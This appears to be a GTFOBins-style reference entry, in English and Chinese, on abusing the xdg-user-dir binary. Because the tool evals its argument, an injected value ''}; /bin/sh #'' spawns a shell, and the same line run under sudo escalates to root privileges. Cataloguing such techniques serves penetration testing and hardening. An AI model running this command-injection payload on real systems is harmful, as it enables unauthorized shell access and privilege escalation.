.. / xdg-user-dir

The current implementation of xdg-user-dir is basically eval echo \${XDG_${1}_DIR:-$HOME}, thus is can be easily used to achieve command execution.

shell

用来生成一个交互式的系统shell。

```
xdg-user-dir '}; /bin/sh #'
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

```
sudo xdg-user-dir '}; /bin/sh #'
```